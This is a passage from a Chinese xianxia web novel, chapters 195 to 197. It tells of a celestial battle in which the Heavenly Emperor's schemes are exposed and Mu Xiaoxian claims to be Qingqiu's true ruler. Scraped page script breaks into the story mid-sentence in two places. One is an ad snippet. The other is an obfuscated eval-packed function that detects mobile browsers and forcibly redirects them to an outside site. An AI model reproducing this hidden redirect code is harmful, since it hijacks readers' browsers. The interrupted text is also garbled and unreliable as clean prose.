兰渊的眼神更加森冷,周身忽然爆发一股紫黑的魔气,就像汹涌的海浪一般,将方园十里混战在一起的士兵冲得纷纷逃散。 华尧上神、符鸣上神勉强站稳,震惊于兰渊身上强大的魔气,似乎比当年魔主兰阙更胜一筹。 兰渊一跃而起,于半空中和天帝遥遥对望。他阴冷的声音清晰地传入在场每一位耳中:“天理不容的是你!当年让魔域死伤无数的颛靡之战,幕后主使就是你!” 众仙哗然。 许多新晋小仙或许并不知道这场颛靡之战,但天庭的老前辈却多少有些耳闻。当年魔域管教不严,让颛靡这个凶恶狡诈的魔兽逃出了魔域,在天庭、青丘边境引起了许多事端。当时的魔主兰霄在围猎颛靡时不小心着了它的道儿,竟然落得玉石俱焚的下场。 不过唏嘘归唏嘘,天庭总有那么点幸灾乐祸,魔主兰霄死了对他们或许还算的上一件好事不是吗? 天庭正义人士此刻挺身而出,说道:“信口雌黄的小儿,休要污蔑天帝!”既是为了挽回天帝颜面,也是为自己搏个机会。 天帝幽幽看了这名正义人士一眼,冠冕堂皇地对兰渊说:“魔主,当年的旧事与我无关,你是否误会什么了?” 兰渊愤然大笑几声,含恨道:“天帝,当年你为了夺取华胥族的宝物,派人渗透华胥族,导致华胥族内斗,最终走向灭亡。你敢说不是?” 天庭诸位老前辈皆神色一变,华胥氏当初可是天界数一数二的神族,若不是因为内部争夺神器分崩离析,怎么可能一日之间覆灭?难道此事与天帝也有关系? 天帝眼中划过一抹不易察觉的寒光,不顾周遭揣测的目光,冷声道:“魔主,你不要无事生非!你说是我导致华胥族灭亡,可有证据?” 凤钰撂倒几名天兵天将,冲天帝挑了下眉:“我就是证据。当年是你命令我潜入华胥族四处点火,想要趁乱盗取华胥族的宝物。” 天帝冷笑道:“凤钰,你现在是魔域的人,你说的话不能作为证据。” 华胥族的灭亡是天帝暗中推波助澜,但现在几万年过去,哪里还有什么证据。天帝镇定自若,不就是因为知道没有证据他们掀不起风浪。 兰渊并没有在华胥族的问题上纠缠不清,他接着说:“华胥族长知道天帝对宝物垂涎已久,所以在族中覆灭前,将锁魂铃交给了我的父亲兰霄保管。” 神官中隐隐有人疑惑道:“锁魂铃不是一直在天庭吗?他怎么说锁魂铃是交给了魔域保管?” “是啊,锁魂铃一直都在天庭,是凤钰盗走了锁魂铃。” “你们没听明白,这是凤钰盗走锁魂铃之前的事情。” “嘘——小点声。” 这些声音逃不过天帝的耳朵,他眯了眯眼睛,压着怒意道:“兰渊,你再信口胡言,我可不客气了。” 兰渊盯着他,眼中淬着幽幽寒光:“天帝当年也派人潜入魔域打探,却迟迟没有获得锁魂铃的消息。你知道锁魂铃这样重要的宝物,如果真的在魔域,魔主兰霄一定会贴身携带。于是你派人引出颛靡,又在青丘边境设下陷阱。而这个人就是符鸣。你就是谋划颛靡之战的背后推手!你为了取得天帝的赏识、得到神官之位不择手段!” ”此话是我在符鸣当年荣升上仙后,他亲口告诉我的。若是各位不信,不妨想想他当年是如何升仙,我想其中定有许多解释不清的地方。”凤钰幽幽道。 战场鸦雀无声,兰渊的话振聋发聩,在众人心中炸裂。如此天方夜谭,与天庭素来的形象大为不符。 符鸣上神的升仙之路可是众所周知,都说符鸣上神从一届散仙晋升为上神颇为励志,可当年他为何突然飞升,却是一字也未透露。不是没有神官暗中怀疑,但谁能想到居然与魔族有关?原来也是用了下作手段踩着别人的尸体一步一步走上来的。 众神官看符鸣的眼神变了变,再看向天帝时眸光也闪烁起来。 “你口说无凭,天庭神官岂容你诽谤!”符鸣暴起一掌,寒光劈向凤钰,凤钰不躲不避,挥起凌霄扇携疾风相迎。 两道力量与空中炸裂,光芒四射,如流星划过天空。 降落在云间,却是哀嚎一片。 “若非如此,符鸣上神不妨将当年飞升的缘由同诸位神官说道说道?”凤钰勾着意味不明的笑,眼中挟着深深讽刺。 “闭嘴!”符鸣手中长戟一挥,将凤钰逼得飞速向后退去,声音却从遥远处清晰传来:“上神位于诸神官之上,尊贵非常,符鸣上神的位子总不会来得不明不白吧?” 符鸣怒喝一声,却没有解释,追上凤钰的身影。半空中几道光影交错,云团霎时如裂帛散开,两人再次缠斗在一起。 此时无声胜有声,不解释反倒成了解释。 在场仙人内心有了计较,再看向天帝时目光又变了变。 混乱之中,武凌呆呆地愣在原地,他脑海中一片空白,只能怔怔地望着他的师父。 ——符鸣上神为了晋升神官,竟然答应替天帝夺取锁魂铃,背后设计陷害魔主兰霄和他夫人孟将军?怎么可能?符鸣怎么可能是这样的人?他明明是靠自己的辛勤努力一步一步走上神官之位的...... 兰渊不给喘息的机会,接着说道:“魔主兰阙当年知道了这件事后,出征天庭就是为了给魔域讨一个公道,却惨遭华尧、符鸣重创,不久便损命。天帝,你杀害了那么多人,难道就没有丝毫悔悟吗?” “闭嘴!”天光炸亮,白光忽而一拢,如同一根离弦的箭以迅雷不及掩耳之势,横扫战场直冲兰渊面门。 “渊儿!” “魔主!” 三道力量忽然挡在白光之前,削弱了天帝的攻击。 白光散去,众人睁开眼睛,却看到有三个人影站在兰渊身前。 一位是凤钰,另外两位居然是青丘之主白瑶和一名面生的男子,正是苏怜漪。 天帝神色一变:“白瑶你这是在做什么?” 白瑶,不,应该是殷乐,穿着一身暗红长袍,如一朵盛开在幽冥的鸢尾花。她阴鹜地看着天帝,未发一言却突然出手。 “天帝小心!”众神官在天帝身前围成了一个阵法,数道仙力鱼贯而出,形成了一层坚不可摧的结界。 就在众人的注意力被这突如其来的攻击分散之时,另一边却传来一声炸裂。 两道身影如闪电一触,飞快地移动着。 风刃一卷,裹挟上符鸣上神的身体,割开他的衣袍,割裂他的皮肉。 符鸣爆喝一声,一道金光飞速袭向凤钰,凤钰一偏头,金光贴着他的发丝闪过,在他的脸颊流下了一道血痕。 “凤钰!你打不过我!”话音未落,他裸露在外的皮肉竟然一片片掉了下来,露出森森白骨。 “我可是上古神兽金凤凰。上一次被你封印,是为了保全锁魂铃没有使出全力。你以为我伤不了你?”凤钰嘴角浮现一抹冷笑,扇子一挥,凌冽的风势越来越大。 “凤钰,住手!” 凤钰身后,华尧手持巨大的光球逼近。 与此同时,苏怜漪身前忽现古琴“清音”,他如青葱般的手指快速拨动琴弦,魔气伴随着缭乱声波向华尧袭去。 苏怜漪与华尧实力相去甚远,但声波却干扰了他的行径。 凤钰轻笑一声,拂手挡开冲上来的天兵,眼中冷得不能再冷:“你不该动兰阙。” 符鸣飞快止住伤口,不落痕迹地瞥了一眼天帝的方向,咬牙道:“我可是上神!你不能弑神!不能!” 凤钰火红的身影嚣张又疯狂,他回望云端的诸位神官,缓缓抬起手,露出一个挑衅的笑容,全然没有将他们放在眼中。 “凤钰!住手!”天帝在他眼中看到了无所顾忌,心中涌上不好的预感,拧眉威喝道。 天边,凤钰衣袂翻飞,如一团燃烧的火焰。而在凌乱风刃之中,却是面目模糊、举步维艰的符鸣上神。 “师父!”武凌大吼一声,就要上前和凤钰拼命。凤钰一眼也未施舍给他,一挥扇子,将他掀翻在地。 符鸣此时已精疲力竭,凌乱的发丝仿佛预示了颓势。他能感觉到那帮神官看他的眼神已不同于先前,他多年构筑的根基、那些他一点一点挣来的体面在凤钰几句话间便被摧毁。 符鸣看着凤钰眼底滔天的杀意,轻轻扯了下嘴角:“武凌......别过来......这是我们之间的事情......” 天地间恍然无声,唯有凤钰清冷的声音响起:“你可有愧?” 符鸣嗤笑道:“凤钰,难道你安排这么大的阵仗,就是为了问我这句话?” 凤钰未回答他,而是一字一字追问道:“你可有愧?” 符鸣阖上眼睛,嘴角的笑意不减,又猛然睁开,愤然道:“我何愧之有?我不像华尧,生来身份尊贵,就算不趋炎附势,也能在神官中拥有自己一席之地。也不像你,是稀有的上古神兽,就算放浪形骸,别人也会敬你三分。你们可以对天帝的命令置之不理、阴奉阳违,我能吗?为了能得到神官之位,我什么都可以做,什么都可以抛弃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !我无愧于任何人。是你们,是你们让我变成现在这个样子的!” 狂风怒卷,符鸣被抛向高空,然后吞入咆哮的旋风中。气流高速旋转,吹得周遭仙人纷纷扬袖遮住口鼻,四散开来。风中洋洋洒洒落下细碎的尘埃,人影一点一点被削去,良久,风渐渐消散,竟是连一点骸骨都没留下。 武凌跪倒在地,一股血气直冲头顶。嘶吼贯穿了整个战场,让震惊当场的诸位神官愈加恍惚。 谁也没有想到凤钰居然真的敢在大庭广众之下,将一位天庭上神挫骨扬灰。 “凤钰,你疯了!你这是弑神!弑神!”神官失声叫嚣道。 凤钰露出纨绔不羁的笑容,带着浓浓的讽刺之意说道:“天庭的神官之位有什么好的,也就你们当个宝贝。一个个为了成神,什么下作手段都能使出来。受人敬重的神官就是这样一群唯利是图的人,真可笑哈哈哈哈哈哈......” 天帝此时已经掩盖不住满脸的阴郁,咽喉深处发出低沉的声音:“凤钰,你真是不给自己一点退路。” 凤钰舔了舔唇角的血迹,眼神怨毒地盯着天帝:“有没有后路都一样,该死的一个都跑不了。” “华尧!你在等什么?给我抓住凤钰!”天帝喝道。 华尧微抬起幽黑深邃的眼眸,目光沉沉地望着天帝,再次确认道:“天帝,刚才符鸣上神说的,可是真的?” 天帝神情一滞,听见身后有神官小声嘀咕:“是啊,那些事情若是真的......” 天帝坚持道:“你们难道真信了魔主和凤钰的话,觉得是天庭有错吗?” 又有神官思忖道:“如果他们说的话是真的,我觉得此事还要商讨商讨,再做定夺才是......” “闭嘴!”一声爆喝,天帝身后突然炸开,那名多嘴的神官竟然倒地不起。 “天帝......天帝......你......”神官乱作一团,看天帝的眼中多了深深的惧意。 天帝仰天大笑,目中蔑视一切,根本未将在场的人放在眼中。 “就算事情因我而起又如何?我身为天帝,天界所有的宝物都应当是我的!华胥族不肯将族中的宝物上贡,活该灭族!兰霄明知我想要锁魂铃却不交出来,是他该死!兰阙居然敢出兵天庭,不自量力!反抗我的人,都会像他们一样!不会有好下场!” 他面寒如铁:“下一个就是你,兰渊!” 天帝的眼神寒芒乍现,像一把锋利的刀子刺过来,白瑶身形微动,似乎想挡在兰渊身前。 天帝微眯了眯眼,察觉到一丝不对劲:“白瑶,我念你年纪小,没想到你居然如此拎不清。难道你想帮魔域吗?你将青丘的生灵置于何地?你将天后与公子鸢的脸面置于何地?你与华尧上神还有婚约在身,也全然不顾忌他的感受?” 华尧暗暗瞥了一眼白瑶,眸中淡然,看不出波澜。 白瑶轻蔑地提了一下唇角,漠然道:“我与华尧上神的婚事作罢。天帝,天界大乱因你而起,你不觉得应该付出代价吗?” 天帝的神色愈发冷硬,他没想到白瑶竟然真的站在了魔域那边。天庭可以庇护青丘,魔域能做什么?青丘为何孤注一掷?他们之间是不是还有别的阴谋? “给我上!”天帝阴鹜的声音从咽喉深处发出:“把这群疯子统统给我抓住!” 天庭损失一名武神,已元气大伤。有识之士逐渐清醒过来,虽然尚未看到证据,但这些年来魔域的所作所为似乎有了合理的解释。 他们渐渐明白了这一场贯穿天界上万年的闹剧因何而生,可是事到如今,这场狂卷了成百上千人的惨剧究竟该如何收场? 华尧上神英勇奋战,以一己之力,带领天界数千名天兵天将对抗魔域和青丘两方的攻势。 战场上刀剑无眼,恍惚间,一道白光迷了武凌的眼睛。他心中一惊,飞快地掐了一个诀,想要睁大眼睛看清来者,额前却感到一股强劲的力量袭来。 “乒——”白光被打偏,黑色的人影落在他身前,深沉的目光在他身上停留了一瞬,压着声音说:“战场上没有时间让你悲伤,要是不想打就滚回去。” 武凌恍然,握紧了手中的长剑,将悲愤和着血吞下肚子。 ——他没有师父了。 ——他从小到大的信仰崩塌了。 眼前是浴血奋战的天兵,耳边是汹涌的怒吼。他恍惚间记起自己与符鸣上神第一次见面,符鸣上神对他伸出手,问要不要拜入他的门下...... 身在天庭,想要脱离散仙的名籍,必然有许多不得己的苦衷。他不做,就永远无法脱离泥沼,但谁知是从一个泥沼走向了另一个泥沼。 或许当年符鸣残害前魔主兰霄和孟将军是大错,但他从未愧对过天庭,也从未做过伤害武凌的事情。 师父已经没了,他不能再倒下。 武凌杀红了眼,一连击倒数十名魔兵,越战越勇,仿佛不知疲惫。 武凌年少,又是不要命的打法,很快引起魔兵注意,围而攻之。形势渐渐逆转,武凌自知不妙,用计避让之时不慎落入白瑶的手中,被她摁倒在地上。 白瑶掐着武凌的脖子,如白玉般洁净清丽的面容,此时眼中却隐隐流露出嗜血的狂躁。压迫感越来越强,一股奇异的力量灌入他的身体,好似将他的五脏六腑撕裂。武凌万念俱灰,眼前渐渐声色褪去,泛起苍白的雪花,恍惚之间,竟然以为看见了慕小闲。 武凌拧紧眉头仔细看去,眼前之人的眉眼渐渐与记忆中的样子的重叠,只是白瑶神色冷漠如蛇蝎,而慕小闲面容显得更加柔和。 白瑶怎么和慕小闲长得如此相似? 武凌越发觉得不对,忽然警觉起来,感受到她身上流露出一丝他最厌恶的气息,武凌顿时大骇:“你不是白瑶!” 可惜他已经发不出声音,惊叫哑在了喉中。 一道轻柔的气息从他脖颈上拂过,如花瓣缓缓落在水面上。 白瑶尖叫一声,甩开手后退几步,憎恶地看着突然现身之人。 混乱之中,随之卷起的气流如云烟飘散。此人出现在战场上,若不是突然出手,竟然没有一人发现她的踪迹。她披着一身红色的斗篷,将自己从头到脚遮得严严实实,低垂的帽檐笼罩下一片阴影,不漏一丝缝隙。 白瑶虽然强装淡定,却拧起眉头,身体紧绷如临大敌。 天帝眉头紧锁,不知这又是哪一出,也不知对方是敌是友:“你又是什么人?” 来人伸出光洁的手臂,缓缓将斗篷从头上取下,抬起灵动的眼眸,微挑了下眉:“诸位大神,好久不见,别来无恙啊。” 196. 第 196 章 华尧眸中一亮,却没有出声。 天帝思忖道:“是你。我记得你叫......慕小闲?” 慕小闲在众仙面前款款笑道:“难得天帝还记得我,真是有点受宠若惊呢。” “小闲......”武凌撑起身体,愣愣地望着慕小闲,不敢相信自己的眼睛。 慕小闲冲他招了招手:“怎么,看傻了?战斗可还没结束呢。” 武凌这才回神,翻身而起绷紧身体面对围攻上来的魔兵。 慕小闲同记忆中的模样像也不像,她仿佛褪去了凡胎肉身,眼波光华流转,气质轻盈纯净,周身散发淡淡仙气。而更令人难以置信的是,此时的她看上去与白瑶颇为相似。 她的出现,让本来紧张的局势陡然一变,仿佛一根紧绷的弦松弛了许多。不论她是以何种目的而来,她刚才救了天庭一名少将不假。 天帝试探道:“你来这里做什么?” 慕小闲刚要回答,一旁的白瑶突然发难,一掌轰然推出,声势形如海啸。紫色的魔气咆哮而来,仿佛幻化出一只猛虎,顶天立地,张开血盆大口要将慕小闲吞噬。 众神官大惊,青丘之主为何炼化了魔气? 慕小闲面色不改,面对雷霆万钧之势,双掌一切,白净的仙力如雾气在她掌中流淌。待猛虎上前时,她看准时机,反手一推,凝聚的幻像在触及她掌中仙力的刹那,陡然泄气,随波荡开。 “我为你而来,殷乐。”她沉声道。 殷乐神色一变,慕小闲失了内丹怎么可能化解她的魔气。 ——殷乐 众神细细咀嚼,这似乎不像是天庭和青丘的名字。 “慕小闲。”兰渊眸中划过危险神色,带着警告的语气道:“你想做什么?” 一年前,慕小闲邀兰渊在鸾喜阁一聚,主动让步,与他达成共识。她不出手阻拦魔域向天庭复仇,事成之后,魔域也会为当年所作所为付出代价。按照约定,这时候慕小闲应当在天界一隅坐收渔翁之利,偏偏她突然出现在这里。 兰渊不是没有对慕小闲设防,但她尚未恢复身份,一介飞升上天的散仙又能做什么? 天庭与魔域当年发生的争端,许许多多的神官都看在眼里,真相呼之欲出,但谁能察觉青丘之主另有他人?简直天方夜谭。 慕小闲淡然一笑,眼神却变得狠厉:“魔主稍安勿躁,好戏才刚刚开始。” “究竟怎么回事?你到底是谁?”天帝怒道。 ——好啊,如今连一个散仙都能在他面前为所欲为。 慕小闲从容道:“天帝有所不知。我是慕小闲也不是,而她是魔域的一名侍女殷乐,并非青丘之主白瑶!” 众人哗然。 “什么?她是魔族?” “怎么可能?那......那青丘之主去了哪里?” “难道这些年来一直是魔族掌管青丘?” “难怪......难怪青丘站在了魔域那边......” 众人神色各异,忍不住多看了殷乐几眼,但她面容姣好,迎风而立,清新飘然,倒也看不出是魔是仙。 在众仙的打量下,殷乐眼色沉了沉,冷笑一声:“她说的你们就信了?我竟是不知,天庭的神官连没有分辨是非的能力都没有。我是青丘之主白瑶,自始至终都是我。她一个没有身份背景的散仙好大的胆子,竟然敢在诸天神官面前对青丘之主口出狂言。你到底是何居心?” 天帝此时哪有帮青丘伸冤的闲情逸致,但敌人的敌人就是朋友,让他看慕小闲的眼神多了几分善意。 “谁能证明你是白瑶?”天帝转而问道。 闻言苏怜漪欲上前作证,殷乐拦下他不慌不忙道:“我就是白瑶,无需证明。”她神色坦然,长时间浸淫于政务让她的气质稳重大气、雍容得体,举手投足间威严尽显,叫人挑不出错处。 而她对面那个名不经传的散仙,却像一朵含苞待放的花骨朵,连能开出什么颜色的花都尚不可知。 神官中隐隐约约有声音说道: “青丘之主何须向他人证明自己的身份,真是笑话!” “是啊,怎么能信了那小丫头的话,她又是谁?” 殷乐见局势松动,立即命令道:“给我上!把这个口出狂言、蔑视青丘的散仙拿下!” 她身后自青丘来的士兵闻声而动,兵刃晃眼,纷纷向慕小闲刺来。慕小闲微一蹙眉,跃身而上,躲过几招攻击,一抖袖口,漫出一团冰白色的仙力。 “这是......”天帝思忖道,这股纯正的仙力倒真有几分青丘白家的气息。 白色的仙气包裹住魔兵,他们纷纷捂住口鼻,握紧手中的刀剑,警惕地观察着四周的变化。忽然,仙气在一瞬间凝固,一道闪电般的鞭子将魔兵抽打得七零八落。 慕小闲浮在虚空中,高高在上地望着一地狼藉,冷声问殷乐:“当年华胥氏灭族,族长之子华胥筝趁乱出逃,流落青丘。他更名改姓有苏,此后一千多年他作为一名先生陪伴白瑶出世,又辅佐她长大。长乐宫许多人虽然不知他的身份,但知道他的存在。不过那些人应当都被你清理干净了,只是你不知当年华胥筝作为白瑶的先生,曾令右相施未羽不满,甚至在大殿上与白瑶产生冲突,这件事青丘许多臣子都有所耳闻。你能将宫里的侍从赶尽杀绝,却不能妄动青丘权臣。你说你是青丘之主白瑶,那么华胥筝现在在哪里?” “华胥族还有人活着?”天帝眼中划过一道精光。 兰渊阴冷地威胁道:“慕小闲,适可而止。” “不,他已经死了。是被殷乐和苏怜漪杀了。”慕小闲含恨道。阿筝那么温柔的人,就算知道了殷乐的身份,也并未伤害过她。可是她和苏怜漪居然不放过他,甚至还将阿筝困在燃魂灯中,忍受无尽的黑暗与孤寂。 殷乐咬着牙掩盖眼中的悲愤,道:“我早该杀了你。” 天帝暗暗松了口气:“那就是死无对证了。” 慕小闲不理会天帝的小心思,继续说:“魔族为了报复天庭,在一千年前制造了一场天火,以魔族少女殷乐替换了真正的白瑶。殷乐在万灵洞休养三百年,回宫之后将白瑶身边的人全都换下。事后,华胥筝发现了殷乐和苏怜漪的秘密,于是被他们残忍杀害,魂魄被困在了长乐宫内。” 众神官小声议论道: “我记得长乐宫当年确实有一场天火,把整个宫殿都烧了。” “如果是真的那可不得了啊......” “可是青丘之主居然这么轻易就被魔族替换了?” 天帝眯了眯眼:“慕小闲,你说魔族替换了青丘之主,可有证据?你怎么知道她不是青丘之主?你又是谁?” 正所谓敌人的敌人就是朋友,天帝想激化魔域和青丘之间的矛盾,给天庭缓冲的余地,寻求一个变数。 慕小闲面对天界众神,沉着又冷静,与先前的神态大不相同。她的身上隐隐流露出的威严,亦不逊色于在场任何人: “我才是真正的青丘之主白瑶。” 一时间,鸦雀无声。 众神官愣在当场,纵使他们见识再多,也没见过一个刚升天不久的散仙在天帝面前冒认自己是青丘之主。 “哈哈哈哈哈哈哈——”殷乐仰天大笑,仿佛听见了千年难遇的笑话。 殷乐嘲讽道:“你无法证明我的身份,也无法证明自己的身份。你是谁也不可能是白瑶。” 兰渊眼中暗暗产生了一丝波动,睥了殷乐一眼,说道:“无需再与她废话,攻下天庭重重有赏!” 魔兵高声呼和道:“打倒神官!活捉天帝!攻下天庭!振我魔族!” “打倒神官!活捉天帝!攻下天庭!振我魔族!” “打倒神官!活捉天帝!攻下天庭!振我魔族!” 攻击性不强但侮辱性极大。 天帝勃然变色,愤愤道:“闭嘴!给我上!都给我上!”一拂袖,看也不看推下身边几位神官。神官之中还有不善武斗的文官,落入战场后慌不择路地逃窜。 慕小闲淡定地瞥了一眼混乱的场面:“我话还没说完,你们急什么?” 话音未落,她忽然感到一阵气势汹涌的热浪扑面而来,她心中一沉,立即向上跃起,袖口一挡。凌冽的攻击将她的袖子灼穿,在她的手臂上留下一片红痕。 她一把将袖子扯掉,迎头又挡住一记攻击,甩了甩手:“魔主既然已经等了一万年,何必争这分秒之间,我说了,好戏才刚刚开始呢。” 兰渊踏着金丝黑靴悬在虚空中,黑紫色的衣袍在风中猎猎作响,他沉声威吓道:“慕小闲,别忘了你答应我的。你现在不该出现在这里,若你违背约定,我的承诺也就此做罢。” 慕小闲忍着手臂的疼痛,撩了下刘海,呵呵一笑:“慕小闲答应你,可不代表白瑶答应你。既然你们要将我分裂成两人,我自然可以有两种做法。魔主,你可以和慕小闲谈条件,但没有资格命令白瑶。”话至尾声,她的目光也幽幽转冷,居然让在场之人身上感到几分寒意。 兰渊的眼神愈加阴鹜,当下之急是要攻下天庭,而不是与慕小闲虚耗。兰渊的攻击更加猛烈,一波接着一波魔气向慕小闲袭来。 慕小闲并非想要与兰渊在此分出高下,她闪过几次攻击,眺望云端隐隐约约在期待什么。 一团紫色的魔气追上了她的脚步,如乌云闪电刺啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972344|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作响。 正在这时,一道白光从天际划过一道蜿蜒的曲线,与魔气在空中一撞,忽明忽暗,如此反复折腾几遍,终于拨云见日。 “闲儿。”云端,一袭清冷的白衣飘然而至。 “终于来了。”慕小闲松了口气,身影缓缓落下。 天帝被这一连串没完没了的闪亮登场搞得焦头烂额,厌烦道:“这又是什么情况?” 天帝身边的神官凑上前道:“好像是青丘的晏离公子,他常年避世而居,已有上千年没有露面了。” “听说他曾是青丘之主白瑶的师父,他会不会知道谁才是真正的白瑶?” 兰渊和苏怜漪还想上前纠缠,被华尧和武凌拦下。四人对峙,局势变得越加复杂。 一阵疾风呼啸而过,华尧紧绷着身体,沉声对兰渊说:“你的对手是我。” 慕小闲与晏离对视一眼,掩去了眼中的留恋,冲殷乐说:“师父驾到,你怎么一点表示也没有?”若是白瑶,一定不会对晏离如此生分。 殷乐眸光微动,不知他们是否留有后手,斟酌片刻,从容道:“晏离虽对我有教育之恩,但他素来冷漠孤僻,固执己见。我当年与他分开是意见不合,此后已经划清界限,再也没有联系。” 慕小闲挑了下眉:“再也没有联系?我记得在你从万灵洞出来后,晏离可是堂堂正正走进长乐宫的。” 殷乐阴沉地看着慕小闲:“只有那一次,就算见过又能代表什么。你到底想说什么?” 慕小闲目光如炬:“当年你拿我做威胁,逼迫晏离带上囚仙印,让他守在青丘隐居一千年。却不知,在这一千年间,他一直苦苦寻觅着我的踪迹。我在那场大火中魂消魄散,坠入了人世间无尽的轮回之中,经历了累生累世,魂魄才终于聚齐。是晏离将我寻回来的。” 慕小闲望了晏离一眼,眼中是说不完的感激和爱意。晏离冷若冰霜的目光,只有在望向她时才会染上一丝盎然。 神官哽咽道:“好感人呐......” 天帝不在乎这些兜兜转转与儿女情长,他微微蹙眉,疑惑道:“你说他带上囚仙印守在青丘一千年,那他是用什么方法将你找回来的?” 慕小闲一句“无可奉告”就将天帝的话堵了回去。 殷乐按捺不住,讥讽道:“难道这就是你的证据?你们沆瀣一气,合伙想要污蔑我。没想到超然世外的晏离,也会被一个女人蛊惑!” 她身前突然化出一把古铜弯弓,几道魔气凝成箭矢,因她压抑的怒意,沉甸甸的紫坠入黑色。 万箭齐发,如烟似雾。 战场上士兵纷纷中箭倒地不起。 被箭矢射中的天兵在哭嚎惨叫,有的忍不了砍断了自己的手臂,有的只剩下半边脑袋。 一时间,烧红的云端恍若阿鼻地狱。 殷乐疯了吗? 源源不断的仙力汇聚在掌心,慕小闲盛怒之下一掌劈出。一道白光乍现,浮光掠影,速度极快。 在众人尚未看清发生了什么时,殷乐重重摔在地上,吐出一口鲜血。她的头发散落,衣衫不整,恶狠狠地看着慕小闲,近乎嘶吼道:“为什么你有灵丹?你的灵丹是哪里来的?” 一个凡人上天不过短短几年,就算日夜不息地修炼,也不可能炼成灵丹。 殷乐咬紧了牙,更何况,慕小闲体内原本属于有苏的灵丹,是被她亲手刨出来的。 “我的灵丹当然是自己修炼来的。”慕小闲道。 殷乐睁大了眼睛:“不可能!你又偷了谁的灵丹?” 殷乐的余光处落下一双鞋,她转头一看,竟是青丘左右相。殷乐眼中隐隐带着些不安,问道: “施未羽、卿书。你们来做什么?” 施未羽垂眸看了她一眼,对众人道:“我们在长乐宫见过有苏先生的魂魄了。他说,慕小闲才是真正的青丘之主白瑶。” 卿书向慕小闲抱拳:“属下来迟,殿下受苦了。” 殷乐冷冷地挑了下眉,压着声道:“你们也要反?” 卿书走到殷乐面前:“他要我给你带一句话。” 殷乐脸上划过一丝错愕,继而回过神来,狠声道:“闭嘴!” “他只希望殿下能回来。”卿书低下头轻声道,音色柔软,但她知道殷乐一定听清楚了。因为殷乐眼中仿佛有什么东西轰然碎裂,继而嫉妒和悲愤交错。她捂上耳朵紧闭双眼尖叫道:“我不想知道!” 须臾,她睁开狰狞的双眼瞪向慕小闲,带着血色的眸中除了怨恨和不甘,还多了几分惨淡:“为什么?为什么!我们朝夕共处七百年,我为救下他做了那么多,他为什么心里还想着你,我究竟哪里不如你?” 197. 第 197 章 另一端,华尧与兰渊陷入僵持。 华尧手持战戟、一双黑靴踏着祥云,银冠束起的长发迎风飘扬,一身银色铠甲衬得他愈加冷肃。 湛蓝色的寒光暴起,释放出璀璨若星尘的强劲仙力。重达千钧的盘龙战戟于空中划过一道利落的弧线,尖端直指云端黑紫色身影。 兰渊阴柔的面容闪过一丝诡谲的神色,就在寒光落于脚边时,身上的魔气幻化出一条巨蟒,一口吞噬掉了白光。可甫一入腹,便折腾得蛇神剧烈摆动,不一会儿,又将那股力量吐了出来,混合着碎裂的獠牙与血珠。 在躲过几次攻击后,兰渊突然咬破了手指,用魔气融合鲜血结了一个印。 四周的光线忽然暗了下来,一股低沉的气息四处弥漫,仿若暴风雨来临的前兆。头顶低压的乌云盘成了漩涡,漩涡之中踏出一只包裹着鳞片的兽足。 天庭神官定睛一看,直呼不妙:“是魔兽!” 巨大的魔兽从天而降,四足比支撑玉霄殿的柱子还要粗壮,头颅如狮似虎,头顶龙角,鬓发如马鬃,两颊却布满了黑色的鳞。 一双铜铃般的眼睛将眼眶撑到极致,泛着澄黄的光,虎视眈眈地将战场扫视一周。 “嗷”它突然张开血盆大口,咆哮一声,声音震耳欲聋、气吞山河,露出锋利的牙齿有手臂粗 。魔兵士气大涨,直压着天兵天将一退再退。魔兽一掌拍下,却不管掌下何人,将魔兵与天兵统统拍了个稀巴烂。 魔兽缓缓向前走了两步,一步一震,使天地山河动摇。它低下头张口咬住几名士兵,裸露在外的手足不停地挣扎,大口一张一合,然后仰头囫囵吞下。 众仙见状,纷纷四散而逃。 殷乐猩红着眼,疯狂大笑:“哈哈哈哈哈你们一个都跑不掉!” 威风赫赫的身影逆着人流而上,跃过逃窜的士兵,飞掠到魔兽跟前。 “华尧,既然你想死我就成全你!”兰渊隔空虚指,魔兽虽然意识混沌,却随着他指的方向看去。 魔兽咆哮一声,向华尧拍下一掌,顿时云烟滚滚。华尧轻巧地闪过它的攻击,银靴在虚空中轻点几下,沿着它的手臂顺势而上。 他手上的战戟不知何时隐去,取而代之的是一个硕大光球。他跃上魔兽后颈,抓住它的绒毛,不顾魔兽剧烈的挣扎,狠狠砸向它的头颅。 “赢了吗?”众人屏息凝神。 光芒闪过后,飘起一缕余烟。 魔兽甩了甩脑袋,怒吼一声,除了鬓边的毛发掉了几撮,竟像无事发生一般。 华尧一跃而起,脸色难看起来。 魔兽仰起头一步一步踏着流云向天庭走去,行径之路上神官做鸟兽散。 混乱中,华尧呼喝道:“众将士听令!势必要阻止此魔兽进入天庭!” “是!”一声令下,分散在各处的天兵天将竟又汇集成几个阵营,几道寒光乍现,如同织成一道坚固的屏障。 魔兽低下头用龙角冲撞屏障,一击之下,屏障竟然出现了裂痕。 魔兽在几轮攻击之下,狂躁起来,手臂一扫,顿时压倒一片天兵。魔兵趁虚而入,挺进数百米,南天门近在眼前。 华尧感到从未有过的心惊,拼尽全力纵身一跃,与它的攻击错身而过。 魔兽长啸一声,口中凝聚的紫色光球砸向不远处的南天门,宏伟的建筑轰然倒塌,几名神官从云端如枯叶一般簌簌落下。 再往前便是天庭神官的宫殿。 “完了,都完了。” “天帝,想想办法啊!” 天帝目光闪烁:“都给我上!都去阻止它!”天帝拎起两名神官,丢下战场,落在魔兽的脚边。 魔兽歪着头看了看脚下的猎物,抬起脚,对准了他们的位置。 两名神官被笼罩在阴影之下,抱在一起瑟瑟发抖,尖叫道:“救命!华尧上神救命!” 兽足重重地落下来,在覆盖的一瞬间,忽然一道光略过,华尧拎着两名神官落在不远处。 身后,慕小闲与晏离赶来,纷纷以仙力阻止魔兽前进。 